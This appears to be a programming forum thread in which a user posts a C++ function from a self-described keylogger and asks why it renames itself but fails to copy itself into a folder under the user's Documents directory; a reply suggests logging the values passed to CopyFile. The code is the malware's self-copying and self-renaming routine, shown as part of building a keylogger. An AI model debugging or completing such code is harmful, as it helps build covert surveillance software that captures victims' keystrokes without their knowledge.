I am programming this keylogger program and I want it to copy itself to some path I specified. I also want the program to rename itself back to default name if in some case the name changed. For testing the program, what I did is rename the program into something other than the default name and changed the directory of the program at the same time. What should happen is that the program's name gets back to default and the program gets copied to the default path I specified. What actually happens is that the program gets renamed but it doesn't get copied. So help :)
bool mainCopy ()
{
// get path and file name of this .exe
char szSource[MAX_PATH] = {0};
GetModuleFileName (0, szSource, MAX_PATH);
// get file name from path
char * strFileName= PathFindFileName(szSource);
// make sure filename is "keylogger test 2"
char name [MAX_PATH]= "keylogger test 2.exe";
if(rename (strFileName, name )==-1)
{
cout<<"error";
}
// get path to 'keylogger' folder
TCHAR pcName [250];
DWORD size = 20;
GetUserName(pcName,&size);//Gets username.
char directory [300];
DWORD sizeV=300;
sprintf(directory, "C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe", pcName, pcName);
// update name of the old path to "keylogger test 2" before copying
GetModuleFileName (0, szSource, MAX_PATH);
CopyFile(szSource, directory, true);
return 1;
}
It's a keylogger. Do you want the full code? Last time I put the full code nobody bothered that's why I didn't. Though I assure you the defect is in this function not any other one.
You don't need to post more code. But you're saying the file copy is failing, but you don't know what's being passed to copy. If you logged those values, it might be apparent why the copy is failing.